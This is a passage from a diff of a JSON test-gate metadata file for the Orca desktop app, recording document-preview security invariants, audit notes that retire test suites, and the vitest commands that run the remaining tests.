       "invariant": "Opening one HTML preview from a paired client renders the workspace document in exactly one client-local browser tab, located by that document and served over the orca-preview scheme. The client gains exactly that one browser workspace and it is the document one — blank where a URL page carries a URL, named by the document, with the chip naming the file — while the host gains no browser page at all, neither in its own page registry nor in the tab snapshot its clients publish into. The preview occupies its own split without taking focus from the source editor; an explicit click activates it, and closing it removes only the preview. Following a document from a file link is the other half of that switch and does move the reader to it, tab group included, whether the preview is new or already open, because opening a file is a request to look at it. A document tab quit with the client comes back as the same row on a grant the relaunched client mints afresh. A preview is named by the browser page it is open in, not by a namespace of its own, and the page registry has two halves: a workspace-document guest is registered in its own map and is absent from the browsing one entirely. That absence is the fence. Page, session and profile management, agent tab enumeration and command targeting, download routing and certificate attribution all read the browsing map directly, in more places than a per-channel guard could be remembered in, so none of them can name a document page and none of them carries a guard. Browser tools the reader drives (element grab, hover describe, selection capture, the annotation viewport bridge) are the one operation that legitimately spans the halves, and they go through the single authority that reads both, keyed by the page and its hosting renderer. The halves are disjoint in both directions: browsing registration refuses a page the document half already holds, and minting a grant refuses a page the browsing half already holds, so one id can never name a surface in both. The headless backend acts on that refusal by destroying the window it had already opened rather than leaving a policy-less page behind an id nothing can drive, keeping nothing under that id for its own shutdown to hand back. Registration refuses on the same terms when the guest it was asked about is already gone. The exit door is guarded in both its halves: a preview withdraws by revoking its grant and never through the unregister channel, so a page the document half holds arriving there is refused before either the registration teardown or the grab-state disposal beside it, which would otherwise drop the intent an in-flight preview grab compares by identity and leave that grab answering ok without ever arming its guest. A bridge request whose guest does not resolve is refused without tearing down the page it named, so a misaddressed request cannot cancel a healthy page's in-flight downloads and grabs. The annotation viewport bridge resolves its guest when its serialized op actually runs rather than when the request arrived, so a cross-process navigation while it waited cannot leave the bridge installed in a retired guest while the reader looks at a new one. State main keys by a preview's page is disposed when that page's grant is revoked, which is the only signal a preview's surface is gone. A tool asking for a page whose guest has not attached yet waits for that registration and arms when it arrives, rather than answering not-ready at the reader; that wait resolves only the request already naming this page, never the worktree-wide or any-tab waits the CLI and agents use to ask for a browser tab to drive. Handing the previewed document to the reader's own machine routes on the owners its grant was minted against — the file's own connection owner and the worktree's own runtime owner, neither read from the tab's stored fields. Only a document proven to live on this machine reaches the client OS; one with a resolved remote owner is downloaded first; and one whose owner cannot be resolved at all, workspace root included, is refused with a message naming that, because the download route would otherwise read the same absolute path on the client and hand back a same-named local file under the remote document's name. A runtime-owned path that falls outside its worktree root is refused by that route itself and surfaces as a failure toast rather than a download. Nothing the document does writes a file to this machine either: the preview partition denies downloads outright instead of routing them through the browser download flow, which has no page to attribute a preview's bytes to and would otherwise reserve a name in this desktop's Downloads folder and write them there unprompted. That refusal is visible to the reader and invisible to the document: the preview's shell carries a fixed sentence saying downloads are off, published at most once per preview per interval so a document asking in a loop cannot fill Orca's chrome, while the page itself gets back exactly what it got before, which is nothing. The sentence names no file, because the document chooses the name it offers; and a refusal never takes the document away the way an entry document's own failure does, whatever it names. A preview is a browser tab, not an editor tab in a preview mode: it is named the way a browser tab is named — by the document it shows when that document declares a title, and by the file it shows when it does not — while the chip goes on naming the file and the host whatever the document calls itself. A title is refused on the same terms the url is: a document that declares none has Chromium report the grant URL as its title, and that title is stored, mirrored onto the tab and written to disk, so anything carrying the scheme falls back to the file instead. It is created by the preview action as a page located by its document, it carries the workspace-relative path copy the editor's path header owned, and closing it revokes the grant that made the document readable while a URL tab closing beside it revokes nothing. Chrome persisted by builds that made previews editor tabs is dropped on restore rather than coming back naming a surface no restore can produce, and the ordinary editor tab for the same document is left alone. A document tab is held back at the mobile publish boundary — no client holds its grant, and the wire has no tab kind for it — while an ordinary browser tab beside it still publishes. It is held back from the group projection that publishes tab order, recency and group activity as well as from the tab list itself, so no published group names a tab the phone is never sent. A browser page can be located by a workspace document instead of a URL, and the document is the whole of its stored identity. The grant and the orca-preview URL that document is served over are minted when the page mounts and replaced by a hard reload, so neither is ever written to the page's url, mirrored onto its tab, persisted or published: such a page's url is the blank URL from creation through restore, including when a session written elsewhere carries a grant URL in, and what the session carries is the worktree and path a restored page mints afresh against today's owners. Every door onto a page's url holds that line — creation, the title update, and the navigation commit alike — so a report about a document page cannot give it a URL it never had, and the title fallback and the loading affordance follow the url each door actually wrote. The mirror carries the document too, so a tab entry cannot go on naming a document its active page has left. Every guest in the app is policy-attached through one door: a workspace document takes a restricted profile there rather than a separate installer beside it, so the attachment bookkeeping that door owns — what registration refuses, and what teardown frees — covers a preview on the same terms as a browsing page, and a preview takes none of the browsing machinery that door installs. That authority answers from the moment the embedder hands the guest over rather than only after a later navigation: the guest binds to the grant it is already showing, so the tools reach the document the reader opened and not just one they navigated to. A read the host reports as truncated or over-cap is refused rather than served partially, and a document outside the paired worktree is refused with a message naming that boundary instead of a bare read failure. The rendered document reaches nothing off-machine on its own: every served response carries a self-only content security policy, the preview session cancels any request that is not in-document, subframes cannot navigate outside the grant, a guest no document has yet bound to a grant may not navigate at all, the guest gathers no ICE candidates, and an SSH path that canonicalizes outside the grant root is refused before it is read. The one route out is a link the reader presses: a trusted click on an anchor, reported by the preview's own preload from a guest still bound to a live grant, leaves through the configured browser destination and captured source route — and only after the reader confirms the exact destination URL, so a document cannot spend a single stray press exfiltrating what it can read into a link it authored. The preview hands its guest that focus itself whenever it is the surface the reader is in — a browsing page gets it from the chrome around it, and a preview has no chrome to get it from — and it does so only then, so a preview mounted behind a terminal or an editor never takes the keyboard from what the reader is actually in. It offers again when the window itself takes focus back and nothing in the embedder has claimed that focus, because another app coming to the front lands focus on the embedder rather than the guest and the route out would otherwise stay shut until something remounted the pane — while the same window focus also arrives when the reader presses a tab, that being the guest's own blur returning, and taking focus back from there would fight the reader for their own click. Nothing else does. A navigation or popup the document starts by itself is swallowed whatever else is happening, including immediately after a genuine press elsewhere in the document, so a page that can read its grant cannot hand it to a browser tab; a middle click opens nothing; and a fragment link is answered inside the document. A preview attach carries the preview preload and no renderer-supplied one, and no other attach path can acquire it. A subresource the workspace will not send degrades the document to a notice naming that file, never to a failure panel over a page that rendered. A grant outlives neither the tab that owns it nor the renderer document that minted it, and only the trusted renderer can mint or revoke one. For the browser creations this gate still owns, owner-pinned creation returns the canonical host page identity before navigation readiness; delayed navigation cannot turn a created page into an unidentifiable failure or a duplicate retry. Capability rejection before host mutation must preserve the original error, issue no RPC, surface a failure toast, and remove only a caller-declared newly-created empty split. Post-create reconciliation failure requires exact rollback; ambiguous rollback rejects without local fallback.",
-      "oracle": "Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2043: Remove the registration-wait, webview-security, preview-authorization, guest-lifecycle and grant-IPC unit suites and the sibling-directory assertion reference. Runtime and browser capability consumers also lose removed imported examples. Remaining document-policy, file-reader and grant-registry assertions do not replace those alarms. Preserve the 27 independent dated receipts at their original unchanged selectors; reduced prospective unit selectors have no fresh result or equivalent replacement claim. Historical prior account (preserved verbatim): Audit1973: Delete the browser RPC forwarding/schema/scalar suite and its prospective selector. Preserve all27 unrelated dated receipts; no actual browser operation alarm is replaced. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): The complete terminal-file-link-actions suite is removed. Lose supplied local/remote menu-row inventories, browser label/order/download/reveal callback forwarding, platform-copy and source-group pinning examples. No OS reveal/download, real remote preview or browser navigation was exercised; the other real document-preview sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1687 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1421 narrows renderer unit coverage as recorded in coverageNotes. Prior oracle descriptions are historical for the changed suite. The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Retained unchanged-selector receipts are the only current execution evidence. Reduced-source assertions await validation. Historical prior oracle: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): In paired Electron, write an HTML fixture that declares its own title on the host, invoke the Explorer preview action on the client, and require the document text to be readable out of the orca-preview guest before judging any absence. With that presence established, require the client to hold exactly one browser workspace more than its baseline and that workspace to be the document one: page and tab url blank, the document path mirrored onto both, the tab named by the document's title, the chip naming the file, no editor row of the retired preview species anywhere, and the guest URL carrying the orca-preview scheme. Ask the host through its own page registry as well as through the tab snapshot, and in the same run open an ordinary URL browser tab from the same client and require that one to arrive in both — the presence precondition without which “the host gained nothing” is satisfied just as well by an oracle that cannot see browser pages at all. Require the preview to sit in a group other than the source editor's while the active group and tab remain the source editor's. Then click away to the terminal, click the preview tab, require it to reactivate and still render, close it with its own X, and require the document tab to be gone while the host still holds only the URL tab and the source group, source editor and terminal survive. Quit the client with a document tab open and relaunch it on the same profile: require the same workspace row to come back, blank and named by the document, rendering the document again over a grant URL that differs from the one that was quit, with no preview-scheme or document-named page anywhere in what the host holds. Prove the halves are live by flipping one product property at a time and requiring the run to fail: publish document workspaces to the host like ordinary ones, and stop mirroring the document onto the workspace row. Have the fixture document attempt its own egress on every load — an unattended window.open and location.href to an off-machine URL, plus an inline ICE gathering probe — and require the same baseline counts and a candidate count of zero, so the document's own attempts are measured rather than assumed. Then, as a separate phase after the close oracle has already run, bring the client window to the front, press the document's heading with a real mouse event, and require the document to report that the same press drove it to attempt a second window.open and location.href while both browser counts stay at that phase's baseline and nothing routes — the case a recent-input gate cannot distinguish from the press's own effect. Only then press the target=_blank link with a real mouse event and require both a recorded routing call that returned success and a browser count above that baseline, with the preview tab still open. Drive the preload's click policy as a unit oracle over a real document: a dispatched click, a trusted press on an external anchor, an anchor reached through what it wraps, an SVG animated href, a sibling preview link, fragment and percent-encoded fragment targets, a bare hash, and a middle click. Create a browser page located by a workspace document, handing creation a live grant URL, and require its stored url, its mirrored tab url and the written session payload all to be blank with no orca-preview string anywhere in what was written, while an ordinary page created the same way keeps the URL it was given and asks for the address bar the document page never does. Parse the written page and tab through the session schema and require the document to survive both halves. Hydrate them back and require the document page to return blank and still named — including when its page row was salvaged away and only the tab's own copy remains, and when a foreign session carried a grant URL into both rows. Drive the mirror across a page switch out of the document and back, and across a repair in which the document is the only mirrored field that differs. Name a document page from its document and require the tab to take that name, name it with an empty title and require the file, name it with a live grant URL and require the file again with no preview scheme anywhere in the written session, and require an ordinary blank browser tab beside it to still be called New Tab. Dispatch a title update out of a rendered preview's own guest and require it to reach the page state while the identity chip still reads the document's workspace-relative path. Attach a browsing guest and a workspace-document guest through the same method in one run and require the browsing one to take clicked-link routing, popup handling and auth-identity detach tracking while the document guest takes none of them, stays inside the grant it is showing, denies every window it asks for, and is dropped from the page-keyed document registry by the same teardown that frees its id for a later attach. Register a browsing guest and attach a workspace-document guest in one run against the real manager, require the one door to answer each page with the guest of its own half, and require the document page to be absent from the browsing map and from its enumeration. Drive both browsing registration entry points with a page the document half already holds and require them to register nothing, and drive the mint channel with a page the browsing half already holds and require it to refuse; and drive the offscreen one with a guest that is missing and with one already destroyed, requiring the same refusal. Arm a grab on a live preview target, drive the unregister channel at that same target in the window before the queued operation runs, and require the grab to reach the guest anyway — then drive the same sequence for an ordinary browser page and require its grab state to be disposed after all. Hold one viewport-bridge op open, queue a second behind it, swap the page's guest while that second op waits, and require the injection to land in the guest the page has then. Revoke a grant after a tool has run against its page and require that page's grab state to be cancelled and disposed. Ask a tool for a document page whose guest has not attached, require the request to park in the registration wait, attach the guest, and require the same request to arm on it; require a page nothing ever renders to answer not-ready once that wait elapses. With a document open, ask a tool for a browsing page id and require it to be answered by the browsing half or not at all, with the same channel reaching the document guest under the page it really renders. Drive open-externally for a document whose per-file owner is remote while the workspace-scoped owner is unresolved, for a runtime-owned worktree whose preview tab carries no runtime id of its own, and for a worktree that resolves no runtime owner while the tab still carries one, requiring the download route in each; and for an owner that cannot be resolved at all, and for an unknown workspace root while nothing names another host, requiring a refusal that neither opens nor downloads. Drive the headless backend with a page the document half already holds and require it to reject, destroy the window, and unregister nothing — then shut the backend down and require it still to have unregistered nothing. Navigate a bound preview guest at a second grant through both latch events and require it to stay on the grant it bound to. Mount a preview while a renderer drag is already in flight and require its guest to be click-through at the moment it is appended, not a turn later. Render the editor panel shell in each remaining tab mode and require the path header exactly where the surface does not already name itself. Drive the preview action and require a browser tab located by the document rather than an editor tab, require a second open of the same document to activate the tab it is already in, and require closing that tab to revoke its grant while a URL tab closed beside it revokes none. Publish a worktree holding a document tab and a URL tab and require only the URL tab to reach the mobile snapshot. Install the shared partition policies for a preview partition and for an ordinary browsing partition in the same run, fire each one's own will-download listener, and require the preview's to cancel while the browsing one still reaches the download router — then require the preview protocol installer to be what asks for that deny. In the same run, require the cancelled download to raise a reader-facing notice and the routed one to raise none. require the guest registry to name the bound grant for a live preview guest and nothing for a contents that is not one, has committed no document, or is gone. Drive the shell with a refusal and require one fixed sentence, still one row after three more refusals, standing beside an asset failure rather than being counted with it, gone behind the failure panel, and ignored when it names another preview's grant. Drive the main-side report gate directly for a sender that is no preview guest, a guest with no bound or a revoked grant, a genuine press Electron's webview focus flag misreports as unfocused, and non-web URLs; drive the reader-facing confirmation for accept, cancel, and a confirmed tab the browser refuses; and drive will-attach-webview in both preload directions. Run the per-owner reader, grant-containment, scheme-admission, guest-policy, and plan-routing contracts as unit oracles, including a host-reported truncation, an over-cap binary, and an out-of-worktree paired path. Drive the reader-facing component with the payloads the reader can actually produce — the entry document fails only as truncated or unreadable, a subresource additionally as a refused format — and require the asset case to leave the guest mounted. Drive the closed-tab cleanup hook, the window installer, and the grant IPC handlers directly, requiring the grant to be released when the preview tab closes, cleared at window creation and on a cross-document main-frame navigation, and refused to any sender that is not the trusted renderer. For the browser creations this gate still owns, run the unchanged contract oracle for direct create and side-preview callers with absent status, unknown capabilities, and a mixed-version host, requiring the original unsupported error or visible toast, zero RPCs, and no retained new split; hold a real navigation response beyond the 15-second client deadline after host creation and require the first RPC to return the exact host inventory page ID, one host page, and no retry; repeat reconciliation faults against headless serve and retain the separate exact-page reconciliation rollback oracle. Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed.",
+      "oracle": "Audit3342 retires the complete mobile editor/diff tab-publication projection suite: editor/diff serialization, workspace-document privacy withholding, pending/focus and capability/options projections are intentionally lost without equivalent replacement. The surviving focused selectors are unexecuted in this source composition. Six complete compound macOS receipts whose command fields select the changed source are retired verbatim as history; their other selected tests receive no promoted evidence. Other dated receipts keep their original scope; no fresh runtime/UI/mobile/mixed-version or cross-platform validation is claimed. Audit3335 retires the complete three-case browser-tabs snapshot assembly suite: canonical snapshot replay/placement/focus, local host-page adoption and unstamped host echo leaving a local page untouched alarms are intentionally lost without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/network, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2043: Remove the registration-wait, webview-security, preview-authorization, guest-lifecycle and grant-IPC unit suites and the sibling-directory assertion reference. Runtime and browser capability consumers also lose removed imported examples. Remaining document-policy, file-reader and grant-registry assertions do not replace those alarms. Preserve the 27 independent dated receipts at their original unchanged selectors; reduced prospective unit selectors have no fresh result or equivalent replacement claim. Historical prior account (preserved verbatim): Audit1973: Delete the browser RPC forwarding/schema/scalar suite and its prospective selector. Preserve all27 unrelated dated receipts; no actual browser operation alarm is replaced. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): The complete terminal-file-link-actions suite is removed. Lose supplied local/remote menu-row inventories, browser label/order/download/reveal callback forwarding, platform-copy and source-group pinning examples. No OS reveal/download, real remote preview or browser navigation was exercised; the other real document-preview sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1687 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1421 narrows renderer unit coverage as recorded in coverageNotes. Prior oracle descriptions are historical for the changed suite. The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Retained unchanged-selector receipts are the only current execution evidence. Reduced-source assertions await validation. Historical prior oracle: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): In paired Electron, write an HTML fixture that declares its own title on the host, invoke the Explorer preview action on the client, and require the document text to be readable out of the orca-preview guest before judging any absence. With that presence established, require the client to hold exactly one browser workspace more than its baseline and that workspace to be the document one: page and tab url blank, the document path mirrored onto both, the tab named by the document's title, the chip naming the file, no editor row of the retired preview species anywhere, and the guest URL carrying the orca-preview scheme. Ask the host through its own page registry as well as through the tab snapshot, and in the same run open an ordinary URL browser tab from the same client and require that one to arrive in both — the presence precondition without which “the host gained nothing” is satisfied just as well by an oracle that cannot see browser pages at all. Require the preview to sit in a group other than the source editor's while the active group and tab remain the source editor's. Then click away to the terminal, click the preview tab, require it to reactivate and still render, close it with its own X, and require the document tab to be gone while the host still holds only the URL tab and the source group, source editor and terminal survive. Quit the client with a document tab open and relaunch it on the same profile: require the same workspace row to come back, blank and named by the document, rendering the document again over a grant URL that differs from the one that was quit, with no preview-scheme or document-named page anywhere in what the host holds. Prove the halves are live by flipping one product property at a time and requiring the run to fail: publish document workspaces to the host like ordinary ones, and stop mirroring the document onto the workspace row. Have the fixture document attempt its own egress on every load — an unattended window.open and location.href to an off-machine URL, plus an inline ICE gathering probe — and require the same baseline counts and a candidate count of zero, so the document's own attempts are measured rather than assumed. Then, as a separate phase after the close oracle has already run, bring the client window to the front, press the document's heading with a real mouse event, and require the document to report that the same press drove it to attempt a second window.open and location.href while both browser counts stay at that phase's baseline and nothing routes — the case a recent-input gate cannot distinguish from the press's own effect. Only then press the target=_blank link with a real mouse event and require both a recorded routing call that returned success and a browser count above that baseline, with the preview tab still open. Drive the preload's click policy as a unit oracle over a real document: a dispatched click, a trusted press on an external anchor, an anchor reached through what it wraps, an SVG animated href, a sibling preview link, fragment and percent-encoded fragment targets, a bare hash, and a middle click. Create a browser page located by a workspace document, handing creation a live grant URL, and require its stored url, its mirrored tab url and the written session payload all to be blank with no orca-preview string anywhere in what was written, while an ordinary page created the same way keeps the URL it was given and asks for the address bar the document page never does. Parse the written page and tab through the session schema and require the document to survive both halves. Hydrate them back and require the document page to return blank and still named — including when its page row was salvaged away and only the tab's own copy remains, and when a foreign session carried a grant URL into both rows. Drive the mirror across a page switch out of the document and back, and across a repair in which the document is the only mirrored field that differs. Name a document page from its document and require the tab to take that name, name it with an empty title and require the file, name it with a live grant URL and require the file again with no preview scheme anywhere in the written session, and require an ordinary blank browser tab beside it to still be called New Tab. Dispatch a title update out of a rendered preview's own guest and require it to reach the page state while the identity chip still reads the document's workspace-relative path. Attach a browsing guest and a workspace-document guest through the same method in one run and require the browsing one to take clicked-link routing, popup handling and auth-identity detach tracking while the document guest takes none of them, stays inside the grant it is showing, denies every window it asks for, and is dropped from the page-keyed document registry by the same teardown that frees its id for a later attach. Register a browsing guest and attach a workspace-document guest in one run against the real manager, require the one door to answer each page with the guest of its own half, and require the document page to be absent from the browsing map and from its enumeration. Drive both browsing registration entry points with a page the document half already holds and require them to register nothing, and drive the mint channel with a page the browsing half already holds and require it to refuse; and drive the offscreen one with a guest that is missing and with one already destroyed, requiring the same refusal. Arm a grab on a live preview target, drive the unregister channel at that same target in the window before the queued operation runs, and require the grab to reach the guest anyway — then drive the same sequence for an ordinary browser page and require its grab state to be disposed after all. Hold one viewport-bridge op open, queue a second behind it, swap the page's guest while that second op waits, and require the injection to land in the guest the page has then. Revoke a grant after a tool has run against its page and require that page's grab state to be cancelled and disposed. Ask a tool for a document page whose guest has not attached, require the request to park in the registration wait, attach the guest, and require the same request to arm on it; require a page nothing ever renders to answer not-ready once that wait elapses. With a document open, ask a tool for a browsing page id and require it to be answered by the browsing half or not at all, with the same channel reaching the document guest under the page it really renders. Drive open-externally for a document whose per-file owner is remote while the workspace-scoped owner is unresolved, for a runtime-owned worktree whose preview tab carries no runtime id of its own, and for a worktree that resolves no runtime owner while the tab still carries one, requiring the download route in each; and for an owner that cannot be resolved at all, and for an unknown workspace root while nothing names another host, requiring a refusal that neither opens nor downloads. Drive the headless backend with a page the document half already holds and require it to reject, destroy the window, and unregister nothing — then shut the backend down and require it still to have unregistered nothing. Navigate a bound preview guest at a second grant through both latch events and require it to stay on the grant it bound to. Mount a preview while a renderer drag is already in flight and require its guest to be click-through at the moment it is appended, not a turn later. Render the editor panel shell in each remaining tab mode and require the path header exactly where the surface does not already name itself. Drive the preview action and require a browser tab located by the document rather than an editor tab, require a second open of the same document to activate the tab it is already in, and require closing that tab to revoke its grant while a URL tab closed beside it revokes none. Publish a worktree holding a document tab and a URL tab and require only the URL tab to reach the mobile snapshot. Install the shared partition policies for a preview partition and for an ordinary browsing partition in the same run, fire each one's own will-download listener, and require the preview's to cancel while the browsing one still reaches the download router — then require the preview protocol installer to be what asks for that deny. In the same run, require the cancelled download to raise a reader-facing notice and the routed one to raise none. require the guest registry to name the bound grant for a live preview guest and nothing for a contents that is not one, has committed no document, or is gone. Drive the shell with a refusal and require one fixed sentence, still one row after three more refusals, standing beside an asset failure rather than being counted with it, gone behind the failure panel, and ignored when it names another preview's grant. Drive the main-side report gate directly for a sender that is no preview guest, a guest with no bound or a revoked grant, a genuine press Electron's webview focus flag misreports as unfocused, and non-web URLs; drive the reader-facing confirmation for accept, cancel, and a confirmed tab the browser refuses; and drive will-attach-webview in both preload directions. Run the per-owner reader, grant-containment, scheme-admission, guest-policy, and plan-routing contracts as unit oracles, including a host-reported truncation, an over-cap binary, and an out-of-worktree paired path. Drive the reader-facing component with the payloads the reader can actually produce — the entry document fails only as truncated or unreadable, a subresource additionally as a refused format — and require the asset case to leave the guest mounted. Drive the closed-tab cleanup hook, the window installer, and the grant IPC handlers directly, requiring the grant to be released when the preview tab closes, cleared at window creation and on a cross-document main-frame navigation, and refused to any sender that is not the trusted renderer. For the browser creations this gate still owns, run the unchanged contract oracle for direct create and side-preview callers with absent status, unknown capabilities, and a mixed-version host, requiring the original unsupported error or visible toast, zero RPCs, and no retained new split; hold a real navigation response beyond the 15-second client deadline after host creation and require the first RPC to return the exact host inventory page ID, one host page, and no retry; repeat reconciliation faults against headless serve and retain the separate exact-page reconciliation rollback oracle. Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed.",
       "commands": [
-        "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-browser-tabs.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/document-preview/doc-preview-grant-registry.test.ts src/main/browser/document-preview/doc-preview-file-reader.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts src/main/browser/document-preview/doc-preview-failure-notice.test.ts src/shared/document-preview/doc-preview-scheme.test.ts src/renderer/src/lib/browser/documents/doc-preview-grants.test.ts src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/sessions/partition-policies/browser-session-partition-policies.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/sessions/partition-policies/browser-session-partition-policies.test.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/document-preview/doc-preview-guest-policy.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts",
